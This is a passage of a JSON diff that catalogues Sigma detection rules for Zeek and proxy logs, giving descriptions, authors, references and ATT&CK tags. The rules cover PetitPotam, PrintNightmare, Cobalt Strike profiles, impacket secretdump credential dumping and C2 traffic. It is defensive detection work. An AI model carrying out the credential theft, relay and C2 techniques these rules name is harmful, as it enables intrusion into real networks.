Enumeration Network Recon 01" + }, + { + "description": "Windows DCE-RPC functions which indicate an execution techniques on the remote system. All credit for the Zeek mapping of the suspicious endpoint/operation field goes to MITRE", + "meta": { + "author": "@neu5ron, SOC Prime", + "creation_date": "2020/03/19", + "falsepositive": [ + "Windows administrator tasks or troubleshooting", + "Windows management scripts or software" + ], + "filename": "zeek_dce_rpc_mitre_bzar_execution.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "zeek", + "refs": [ + "https://github.com/mitre-attack/bzar#indicators-for-attck-execution", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_mitre_bzar_execution.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047", + "attack.t1053.002", + "attack.t1569.002" + ] + }, + "uuid": "b640c0b8-87f8-4daa-aef8-95a24261dd1d", + "value": "MITRE BZAR Indicators for Execution" + }, + { + "description": "Windows DCE-RPC functions which indicate a persistence techniques on the remote system. All credit for the Zeek mapping of the suspicious endpoint/operation field goes to MITRE.", + "meta": { + "author": "@neu5ron, SOC Prime", + "creation_date": "2020/03/19", + "falsepositive": [ + "Windows administrator tasks or troubleshooting", + "Windows management scripts or software" + ], + "filename": "zeek_dce_rpc_mitre_bzar_persistence.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "zeek", + "refs": [ + "https://github.com/mitre-attack/bzar#indicators-for-attck-persistence", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_mitre_bzar_persistence.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.004" + ] + }, + "uuid": "53389db6-ba46-48e3-a94c-e0f2cefe1583", + "value": "MITRE BZAR Indicators for Persistence" + }, + { + "description": "Detects usage of the windows RPC library Encrypting File System Remote Protocol (MS-EFSRPC). Variations of this RPC are used within the attack refereed to as PetitPotam.\nThe usage of this RPC function should be rare if ever used at all.\nThus usage of this function is uncommon enough that any usage of this RPC function should warrant further investigation to determine if it is legitimate.\n View surrounding logs (within a few minutes before and after) from the Source IP to. Logs from from the Source IP would include dce_rpc, smb_mapping, smb_files, rdp, ntlm, kerberos, etc..'\n", + "meta": { + "author": "@neu5ron, @Antonlovesdnb, Mike Remen", + "creation_date": "2021/08/17", + "falsepositive": [ + "Uncommon but legitimate windows administrator or software tasks that make use of the Encrypting File System RPC Calls. Verify if this is common activity (see description)." + ], + "filename": "zeek_dce_rpc_potential_petit_potam_efs_rpc_call.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "zeek", + "refs": [ + "https://github.com/topotam/PetitPotam/blob/d83ac8f2dd34654628c17490f99106eb128e7d1e/PetitPotam/PetitPotam.cpp", + "https://msrc.microsoft.com/update-guide/vulnerability/ADV210003", + "https://vx-underground.org/archive/Symantec/windows-vista-network-attack-07-en.pdf", + "https://threatpost.com/microsoft-petitpotam-poc/168163/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_potential_petit_potam_efs_rpc_call.yml" + ], + "tags": [ + "attack.t1557.001", + "attack.t1187" + ] + }, + "uuid": "4096842a-8f9f-4d36-92b4-d0b2a62f9b2a", + "value": "Potential PetitPotam Attack Via EFS RPC Calls" + }, + { + "description": "Detects the remote installation of a print driver which is possible indication of the exploitation of PrintNightmare (CVE-2021-1675).\nThe occurrence of print drivers being installed remotely via RPC functions should be rare, as print drivers are normally installed locally and or through group policy.\n", + "meta": { + "author": "@neu5ron (Nate Guagenti)", + "creation_date": "2021/08/23", + "falsepositive": [ + "Legitimate remote alteration of a printer driver." + ], + "filename": "zeek_dce_rpc_printnightmare_print_driver_install.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "zeek", + "refs": [ + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-par/93d1915d-4d9f-4ceb-90a7-e8f2a59adc29", + "https://github.com/zeek/zeek/blob/691b099de13649d6576c7b9d637f8213ff818832/scripts/base/protocols/dce-rpc/consts.zeek", + "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527", + "https://github.com/corelight/CVE-2021-1675", + "https://old.zeek.org/zeekweek2019/slides/bzar.pdf", + "https://www.crowdstrike.com/blog/cve-2021-1678-printer-spooler-relay-security-advisory/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_printnightmare_print_driver_install.yml" + ], + "tags": [ + "attack.execution", + "cve.2021.1678", + "cve.2021.1675", + "cve.2021.34527" + ] + }, + "uuid": "7b33baef-2a75-4ca3-9da4-34f9a15382d8", + "value": "Possible PrintNightmare Print Driver Install" + }, + { + "description": "Detects the use of the spoolss named pipe over SMB. This can be used to trigger the authentication via NTLM of any machine that has the spoolservice enabled.", + "meta": { + "author": "OTR (Open Threat Research), @neu5ron", + "creation_date": "2018/11/28", + "falsepositive": [ + "Domain Controllers that are sometimes, commonly although should not be, acting as printer servers too" + ], + "filename": "zeek_dce_rpc_smb_spoolss_named_pipe.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "zeek", + "refs": [ + "https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1", + "https://dirkjanm.io/a-different-way-of-abusing-zerologon/", + "https://twitter.com/_dirkjan/status/1309214379003588608", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_smb_spoolss_named_pipe.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.002" + ] + }, + "uuid": "bae2865c-5565-470d-b505-9496c87d0c30", + "value": "SMB Spoolss Name Piped Usage" + }, + { + "description": "Detects the presence of default Cobalt Strike certificate in the HTTPS traffic", + "meta": { + "author": "Bhabesh Raj", + "creation_date": "2021/06/23", + "falsepositive": [ + "Unknown" + ], + "filename": "zeek_default_cobalt_strike_certificate.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "zeek", + "refs": [ + "https://sergiusechel.medium.com/improving-the-network-based-detection-of-cobalt-strike-c2-servers-in-the-wild-while-reducing-the-6964205f6468", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_default_cobalt_strike_certificate.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.s0154" + ] + }, + "uuid": "7100f7e3-92ce-4584-b7b7-01b40d3d4118", + "value": "Default Cobalt Strike Certificate" + }, + { + "description": "Identifies clients that may be performing DNS lookups associated with common currency mining pools.", + "meta": { + "author": "Saw Winn Naung, Azure-Sentinel, @neu5ron", + "creation_date": "2021/08/19", + "falsepositive": [ + "A DNS lookup does not necessarily mean a successful attempt, verify a) if there was a response using the zeek answers field, if there was then verify the connections (conn.log) to those IPs. b) verify if HTTP, SSL, or TLS activity to the domain that was queried. http.log field is 'host' and ssl/tls is 'server_name'." + ], + "filename": "zeek_dns_mining_pools.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "zeek", + "refs": [ + "https://github.com/Azure/Azure-Sentinel/blob/fa0411f9424b6c47b4d5a20165e4f1b168c1f103/Detections/ASimDNS/imDNS_Miners.yaml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dns_mining_pools.yml" + ], + "tags": [ + "attack.t1569.002", + "attack.t1496" + ] + }, + "uuid": "bf74135c-18e8-4a72-a926-0e4f47888c19", + "value": "DNS Events Related To Mining Pools" + }, + { + "description": "NKN is a networking service using blockchain technology to support a decentralized network of peers. While there are legitimate uses for it, it can also be used as a C2 channel. This rule looks for a DNS request to the ma>", + "meta": { + "author": "Michael Portera (@mportatoes)", + "creation_date": "2022/04/21", + "falsepositive": [ + "Unknown" + ], + "filename": "zeek_dns_nkn.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "zeek", + "refs": [ + "https://github.com/nknorg/nkn-sdk-go", + "https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/", + "https://github.com/Maka8ka/NGLite", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dns_nkn.yml" + ], + "tags": [ + "attack.command_and_control" + ] + }, + "uuid": "fa7703d6-0ee8-4949-889c-48c84bc15b6f", + "value": "New Kind of Network (NKN) Detection" + }, + { + "description": "The DNS Z flag is bit within the DNS protocol header that is, per the IETF design, meant to be used reserved (unused).\nAlthough recently it has been used in DNSSec, the value being set to anything other than 0 should be rare.\nOtherwise if it is set to non 0 and DNSSec is being used, then excluding the legitimate domains is low effort and high reward.\nDetermine if multiple of these files were accessed in a short period of time to further enhance the possibility of seeing if this was a one off or the possibility of larger sensitive file gathering.\nThis Sigma query is designed to accompany the Corelight Threat Hunting Guide, which can be found here: https://www3.corelight.com/corelights-introductory-guide-to-threat-hunting-with-zeek-bro-logs'\n", + "meta": { + "author": "@neu5ron, SOC Prime Team, Corelight", + "creation_date": "2021/05/04", + "falsepositive": [ + "Internal or legitimate external domains using DNSSec. Verify if these are legitimate DNSSec domains and then exclude them.", + "If you work in a Public Sector then it may be good to exclude things like endswith \".edu\", \".gov\" and or \".mil\"" + ], + "filename": "zeek_dns_susp_zbit_flag.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "zeek", + "refs": [ + "https://twitter.com/neu5ron/status/1346245602502443009", + "https://tdm.socprime.com/tdm/info/eLbyj4JjI15v#sigma", + "https://tools.ietf.org/html/rfc2929#section-2.1", + "https://www.netresec.com/?page=Blog&month=2021-01&post=Finding-Targeted-SUNBURST-Victims-with-pDNS", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dns_susp_zbit_flag.yml" + ], + "tags": [ + "attack.t1095", + "attack.t1571", + "attack.command_and_control" + ] + }, + "uuid": "ede05abc-2c9e-4624-9944-9ff17fdc0bf5", + "value": "Suspicious DNS Z Flag Bit Set" + }, + { + "description": "Identifies IPs performing DNS lookups associated with common Tor proxies.", + "meta": { + "author": "Saw Winn Naung , Azure-Sentinel", + "creation_date": "2021/08/15", + "falsepositive": [ + "Unknown" + ], + "filename": "zeek_dns_torproxy.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "zeek", + "refs": [ + "https://github.com/Azure/Azure-Sentinel/blob/f99542b94afe0ad2f19a82cc08262e7ac8e1428e/Detections/ASimDNS/imDNS_TorProxies.yaml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dns_torproxy.yml" + ], + "tags": [ + "attack.t1048" + ] + }, + "uuid": "a8322756-015c-42e7-afb1-436e85ed3ff5", + "value": "DNS TOR Proxies" + }, + { + "description": "Detects executable access via webdav6. Can be seen in APT 29 such as from the emulated APT 29 hackathon https://github.com/OTRF/detection-hackathon-apt29/", + "meta": { + "author": "SOC Prime, Adam Swan", + "creation_date": "2020/05/01", + "falsepositive": [ + "Unknown" + ], + "filename": "zeek_http_executable_download_from_webdav.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "zeek", + "refs": [ + "http://carnal0wnage.attackresearch.com/2012/06/webdav-server-to-download-custom.html", + "https://github.com/OTRF/detection-hackathon-apt29", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_http_executable_download_from_webdav.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ] + }, + "uuid": "aac2fd97-bcba-491b-ad66-a6edf89c71bf", + "value": "Executable from Webdav" + }, + { + "description": "Detects the exploitation of OMIGOD (CVE-2021-38647) which allows remote execute (RCE) commands as root with just a single unauthenticated HTTP request.\nVerify, successful, exploitation by viewing the HTTP client (request) body to see what was passed to the server (using PCAP).\nWithin the client body is where the code execution would occur. Additionally, check the endpoint logs to see if suspicious commands or activity occurred within the timeframe of this HTTP request.\n", + "meta": { + "author": "Nate Guagenti (neu5ron)", + "creation_date": "2021/09/20", + "falsepositive": [ + "Exploits that were attempted but unsuccessful.", + "Scanning attempts with the abnormal use of the HTTP POST method with no indication of code execution within the HTTP Client (Request) body. An example would be vulnerability scanners trying to identify unpatched versions while not actually exploiting the vulnerability. See description for investigation tips." + ], + "filename": "zeek_http_omigod_no_auth_rce.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "zeek", + "refs": [ + "https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure", + "https://twitter.com/neu5ron/status/1438987292971053057?s=20", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_http_omigod_no_auth_rce.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.initial_access", + "attack.execution", + "attack.lateral_movement", + "attack.t1068", + "attack.t1190", + "attack.t1203", + "attack.t1021.006", + "attack.t1210" + ] + }, + "uuid": "ab6b1a39-a9ee-4ab4-b075-e83acf6e346b", + "value": "OMIGOD HTTP No Authentication RCE" + }, + { + "description": "A General detection for WebDav user-agent being used to PUT files on a WebDav network share. This could be an indicator of exfiltration.", + "meta": { + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "creation_date": "2020/05/02", + "falsepositive": [ + "Unknown" + ], + "filename": "zeek_http_webdav_put_request.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "zeek", + "refs": [ + "https://github.com/OTRF/detection-hackathon-apt29/issues/17", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_http_webdav_put_request.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1048.003" + ] + }, + "uuid": "705072a5-bb6f-4ced-95b6-ecfa6602090b", + "value": "WebDav Put Request" + }, + { + "description": "Detects connections from routable IPs to an RDP listener - which is indicative of a publicly-accessible RDP service.", + "meta": { + "author": "Josh Brower @DefensiveDepth", + "creation_date": "2020/08/22", + "falsepositive": [ + "Although it is recommended to NOT have RDP exposed to the internet, verify that this is a) allowed b) the server has not already been compromised via some brute force or remote exploit since it has been exposed to the internet. Work to secure the server if you are unable to remove it from being exposed to the internet." + ], + "filename": "zeek_rdp_public_listener.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "zeek", + "refs": [ + "https://attack.mitre.org/techniques/T1021/001/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_rdp_public_listener.yml" + ], + "tags": [ + "attack.t1021.001" + ] + }, + "uuid": "1fc0809e-06bf-4de3-ad52-25e5263b7623", + "value": "Publicly Accessible RDP Service" + }, + { + "description": "Detects remote task creation via at.exe or API interacting with ATSVC namedpipe", + "meta": { + "author": "Samir Bousseaden, @neu5rn", + "creation_date": "2020/04/03", + "falsepositive": [ + "Unknown" + ], + "filename": "zeek_smb_converted_win_atsvc_task.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "zeek", + "refs": [ + "https://github.com/neo23x0/sigma/blob/d42e87edd741dd646db946f30964f331f92f50e6/rules/windows/builtin/win_atsvc_task.yml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_atsvc_task.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.persistence", + "car.2013-05-004", + "car.2015-04-001", + "attack.t1053.002" + ] + }, + "uuid": "dde85b37-40cd-4a94-b00c-0b8794f956b5", + "value": "Remote Task Creation via ATSVC Named Pipe - Zeek" + }, + { + "description": "Detect AD credential dumping using impacket secretdump HKTL. Based on the SIGMA rules/windows/builtin/win_impacket_secretdump.yml", + "meta": { + "author": "Samir Bousseaden, @neu5ron", + "creation_date": "2020/03/19", + "falsepositive": [ + "Unknown" + ], + "filename": "zeek_smb_converted_win_impacket_secretdump.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "zeek", + "refs": [ + "https://blog.menasec.net/2019/02/threat-huting-10-impacketsecretdump.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_impacket_secretdump.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.002", + "attack.t1003.004", + "attack.t1003.003" + ] + }, + "uuid": "92dae1ed-1c9d-4eff-a567-33acbd95b00e", + "value": "Possible Impacket SecretDump Remote Activity - Zeek" + }, + { + "description": "This detection excludes known namped pipes accessible remotely and notify on newly observed ones, may help to detect lateral movement and remote exec using named pipes", + "meta": { + "author": "Samir Bousseaden, @neu5ron, Tim Shelton", + "creation_date": "2020/04/02", + "falsepositive": [ + "Update the excluded named pipe to filter out any newly observed legit named pipe" + ], + "filename": "zeek_smb_converted_win_lm_namedpipe.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "zeek", + "refs": [ + "https://github.com/neo23x0/sigma/blob/d42e87edd741dd646db946f30964f331f92f50e6/rules/windows/builtin/win_lm_namedpipe.yml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_lm_namedpipe.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.002" + ] + }, + "uuid": "021310d9-30a6-480a-84b7-eaa69aeb92bb", + "value": "First Time Seen Remote Named Pipe - Zeek" + }, + { + "description": "detects execution of psexec or paexec with renamed service name, this rule helps to filter out the noise if psexec is used for legit purposes or if attacker uses a different psexec client other than sysinternal one", + "meta": { + "author": "Samir Bousseaden, @neu5ron, Tim Shelton", + "creation_date": "2020/04/02", + "falsepositive": [ + "Unknown" + ], + "filename": "zeek_smb_converted_win_susp_psexec.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "zeek", + "refs": [ + "https://github.com/neo23x0/sigma/blob/d42e87edd741dd646db946f30964f331f92f50e6/rules/windows/builtin/win_susp_psexec.yml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_susp_psexec.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.002" + ] + }, + "uuid": "f1b3a22a-45e6-4004-afb5-4291f9c21166", + "value": "Suspicious PsExec Execution - Zeek" + }, + { + "description": "Detects known sensitive file extensions via Zeek", + "meta": { + "author": "Samir Bousseaden, @neu5ron", + "creation_date": "2020/04/02", + "falsepositive": [ + "Help Desk operator doing backup or re-imaging end user machine or backup software", + "Users working with these data types or exchanging message files" + ], + "filename": "zeek_smb_converted_win_susp_raccess_sensitive_fext.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "zeek", + "refs": [ + "https://github.com/neo23x0/sigma/blob/d42e87edd741dd646db946f30964f331f92f50e6/rules/windows/builtin/win_susp_raccess_sensitive_fext.yml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_susp_raccess_sensitive_fext.yml" + ], + "tags": [ + "attack.collection" + ] + }, + "uuid": "286b47ed-f6fe-40b3-b3a8-35129acd43bc", + "value": "Suspicious Access to Sensitive File Extensions - Zeek" + }, + { + "description": "Transferring files with well-known filenames (sensitive files with credential data) using network shares", + "meta": { + "author": "@neu5ron, Teymur Kheirkhabarov, oscd.community", + "creation_date": "2020/04/02", + "falsepositive": [ + "Transferring sensitive files for legitimate administration work by legitimate administrator" + ], + "filename": "zeek_smb_converted_win_transferring_files_with_credential_data.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "zeek", + "refs": [ + "https://github.com/neo23x0/sigma/blob/373424f14574facf9e261d5c822345a282b91479/rules/windows/builtin/win_transferring_files_with_credential_data_via_network_shares.yml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_transferring_files_with_credential_data.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.002", + "attack.t1003.001", + "attack.t1003.003" + ] + }, + "uuid": "2e69f167-47b5-4ae7-a390-47764529eff5", + "value": "Transferring Files with Credential Data via Network Shares - Zeek" + }, + { + "description": "Detects kerberos TGS request using RC4 encryption which may be indicative of kerberoasting", + "meta": { + "author": "sigma", + "creation_date": "2020/02/12", + "falsepositive": [ + "Normal enterprise SPN requests activity" + ], + "filename": "zeek_susp_kerberos_rc4.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "zeek", + "refs": [ + "https://adsecurity.org/?p=3458", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_susp_kerberos_rc4.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1558.003" + ] + }, + "uuid": "503fe26e-b5f2-4944-a126-eab405cc06e5", + "value": "Kerberos Network Traffic RC4 Ticket Encryption" + }, + { + "description": "Detect update check performed by Advanced IP Scanner and Advanced Port Scanner", + "meta": { + "author": "Axel Olsson", + "creation_date": "2022/08/14", + "falsepositive": [ + "Legitimate use by administrators" + ], + "filename": "proxy_adv_ip_port_scanner_upd_check.yml", + "level": "medium", + "logsource.category": "proxy", + "logsource.product": "No established product", + "refs": [ + "https://www.advanced-ip-scanner.com/", + "https://www.advanced-port-scanner.com/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_adv_ip_port_scanner_upd_check.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1590" + ] + }, + "uuid": "1a9bb21a-1bb5-42d7-aa05-3219c7c8f47d", + "value": "Advanced IP/Port Scanner Update Check" + }, + { + "description": "Detects suspicious user agent string of APT40 Dropbox tool", + "meta": { + "author": "Thomas Patzke", + "creation_date": "2019/11/12", + "falsepositive": [ + "Old browsers" + ], + "filename": "proxy_apt40.yml", + "level": "high", + "logsource.category": "proxy", + "logsource.product": "No established product", + "refs": [ + "Internal research from Florian Roth", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_apt40.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.001", + "attack.exfiltration", + "attack.t1567.002" + ] + }, + "uuid": "5ba715b6-71b7-44fd-8245-f66893e81b3d", + "value": "APT40 Dropbox Tool User Agent" + }, + { + "description": "Detects specific malware patterns used by FurBall malware linked to Iranian Domestic Kitten APT group", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/02/08", + "falsepositive": [ + "Unlikely" + ], + "filename": "proxy_apt_domestic_kitten.yml", + "level": "high", + "logsource.category": "proxy", + "logsource.product": "No established product", + "refs": [ + "https://research.checkpoint.com/2021/domestic-kitten-an-inside-look-at-the-iranian-surveillance-operations/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_apt_domestic_kitten.yml" + ], + "tags": [ + "attack.command_and_control" + ] + }, + "uuid": "6c939dfa-c710-4e12-a4dd-47e1f10e68e1", + "value": "Domestic Kitten FurBall Malware Pattern" + }, + { + "description": "Detects Baby Shark C2 Framework communication patterns", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/06/09", + "falsepositive": [ + "Unknown" + ], + "filename": "proxy_baby_shark.yml", + "level": "critical", + "logsource.category": "proxy", + "logsource.product": "No established product", + "refs": [ + "https://nasbench.medium.com/understanding-detecting-c2-frameworks-babyshark-641be4595845", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_baby_shark.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.001" + ] + }, + "uuid": "304810ed-8853-437f-9e36-c4975c3dfd7e", + "value": "BabyShark Agent Pattern" + }, + { + "description": "Detects HTTP requests used by Chafer malware", + "meta": { + "author": "Florian Roth", + "creation_date": "2019/01/31", + "falsepositive": [ + "Unknown" + ], + "filename": "proxy_chafer_malware.yml", + "level": "critical", + "logsource.category": "proxy", + "logsource.product": "No established product", + "refs": [ + "https://securelist.com/chafer-used-remexi-malware/89538/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_chafer_malware.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.001" + ] + }, + "uuid": "fb502828-2db0-438e-93e6-801c7548686d", + "value": "Chafer Malware URL Pattern" + }, + { + "description": "Detects Malleable Amazon Profile", + "meta": { + "author": "Markus Neis", + "creation_date": "2019/11/12", + "falsepositive": [ + "Unknown" + ], + "filename": "proxy_cobalt_amazon.yml", + "level": "high", + "logsource.category": "proxy", + "logsource.product": "No established product", + "refs": [ + "https://github.com/rsmudge/Malleable-C2-Profiles/blob/26323784672913923d20c5a638c6ca79459e8529/normal/amazon.profile", + "https://www.hybrid-analysis.com/sample/ee5eca8648e45e2fea9dac0d920ef1a1792d8690c41ee7f20343de1927cc88b9?environmentId=100", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_cobalt_amazon.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.command_and_control", + "attack.t1071.001" + ] + }, + "uuid": "953b895e-5cc9-454b-b183-7f3db555452e", + "value": "CobaltStrike Malleable Amazon Browsing Traffic Profile" + }, + { + "description": "Detects different malformed user agents used in Malleable Profiles used with Cobalt Strike", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/05/06", + "falsepositive": [ + "Unknown" + ], + "filename": "proxy_cobalt_malformed_uas.yml", + "level": "critical", + "logsource.category": "proxy", + "logsource.product": "No established product", + "refs": [ + "https://github.com/yeyintminthuhtut/Malleable-C2-Profiles-Collection/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_cobalt_malformed_uas.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.command_and_control", + "attack.t1071.001" + ] + }, + "uuid": "41b42a36-f62c-4c34-bd40-8cb804a34ad8", + "value": "CobaltStrike Malformed UAs in Malleable Profiles" + }, + { + "description": "Detects Malleable (OCSP) Profile with Typo (OSCP) in URL", + "meta": { + "author": "Markus Neis", + "creation_date": "2019/11/12", + "falsepositive": [ + "Unknown" + ], + "filename": "proxy_cobalt_ocsp.yml", + "level": "high", + "logsource.category": "proxy", + "logsource.product": "No established product", + "refs": [ + "https://github.com/rsmudge/Malleable-C2-Profiles/blob/26323784672913923d20c5a638c6ca79459e8529/normal/ocsp.profile", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_cobalt_ocsp.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.command_and_control", + "attack.t1071.001" + ] + }, + "uuid": "37325383-740a-403d-b1a2-b2b4ab7992e7", + "value": "CobaltStrike Malleable (OCSP) Profile" + }, + { + "description": "Detects Malleable OneDrive Profile", + "meta": { + "author": "Markus Neis", + "creation_date": "2019/11/12", + "falsepositive": [ + "Unknown" + ], + "filename": "proxy_cobalt_onedrive.yml", + "level": "high", + "logsource.category": "proxy", + "logsource.product": "No established product", + "refs": [ + "https://github.com/rsmudge/Malleable-C2-Profiles/blob/26323784672913923d20c5a638c6ca79459e8529/normal/onedrive_getonly.profile", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_cobalt_onedrive.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.command_and_control", + "attack.t1071.001" + ] + }, + "uuid": "c9b33401-cc6a-4cf6-83bb-57ddcb2407fc", + "value": "CobaltStrike Malleable OneDrive Browsing Traffic Profile" + }, + { + "description": "Detects WebDav DownloadCradle", + "meta": { + "author": "Florian Roth", + "creation_date": "2018/04/06", + "falsepositive": [ + "Administrative scripts that download files from the Internet", + "Administrative scripts that retrieve certain website contents", + "Legitimate WebDAV administration" + ], + "filename": "proxy_downloadcradle_webdav.yml", + "level": "high", + "logsource.category": "proxy", + "logsource.product": "No established product", + "refs": [ + "https://mgreen27.github.io/posts/2018/04/02/DownloadCradle.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_downloadcradle_webdav.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.001" + ] + }, + "uuid": "e09aed7a-09e0-4c9a-90dd-f0d52507347e", + "value": "Windows WebDAV User Agent" + }, + { + "description": "Detects download of certain file types from hosts with dynamic DNS names (selected list)", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/11/08", + "falsepositive": [ + "Software downloads" + ], + "filename": "proxy_download_susp_dyndns.yml", + "level": "medium", + "logsource.category": "proxy", + "logsource.product": "No established product", + "refs": [ + "https://www.alienvault.com/blogs/security-essentials/dynamic-dns-security-and-potential-threats", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_download_susp_dyndns.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.command_and_control", + "attack.t1105", + "attack.t1568" + ] + }, + "uuid": "195c1119-ef07-4909-bb12-e66f5e07bf3c", + "value": "Download from Suspicious Dyndns Hosts" + }, + { + "description": "Detects download of certain file types from hosts in suspicious TLDs", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/11/07", + "falsepositive": [ + "All kinds of software downloads" + ], + "filename": "proxy_download_susp_tlds_blacklist.yml", + "level": "low", + "logsource.category": "proxy", + "logsource.product": "No established product", + "refs": [ + "https://www.symantec.com/connect/blogs/shady-tld-research-gdn-and-our-2016-wrap", + "https://promos.mcafee.com/en-US/PDF/MTMW_Report.pdf", + "https://www.spamhaus.org/statistics/tlds/", + "https://krebsonsecurity.com/2018/06/bad-men-at-work-please-dont-click/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_download_susp_tlds_blacklist.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1566", + "attack.execution", + "attack.t1203", + "attack.t1204.002" + ] + }, + "uuid": "00d0b5ab-1f55-4120-8e83-487c0a7baf19", + "value": "Download from Suspicious TLD" + }, + { + "description": "Detects executable downloads from suspicious remote systems", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/03/13", + "falsepositive": [ + "All kind of software downloads" + ], + "filename": "proxy_download_susp_tlds_whitelist.yml", + "level": "low", + "logsource.category": "proxy", + "logsource.product": "No established product", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_download_susp_tlds_whitelist.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1566", + "attack.execution", + "attack.t1203", + "attack.t1204.002" + ] + }, + "uuid": "b5de2919-b74a-4805-91a7-5049accbaefe", + "value": "Download EXE from Suspicious TLD" + }, + { + "description": "Detects user agent and URI paths used by empire agents", + "meta": { + "author": "Florian Roth", + "creation_date": "2020/07/13", + "falsepositive": [ + "Valid requests with this exact user agent to server scripts of the defined names" + ], + "filename": "proxy_empire_ua_uri_combos.yml", + "level": "high", + "logsource.category": "proxy", + "logsource.product": "No established product", + "refs": [ + 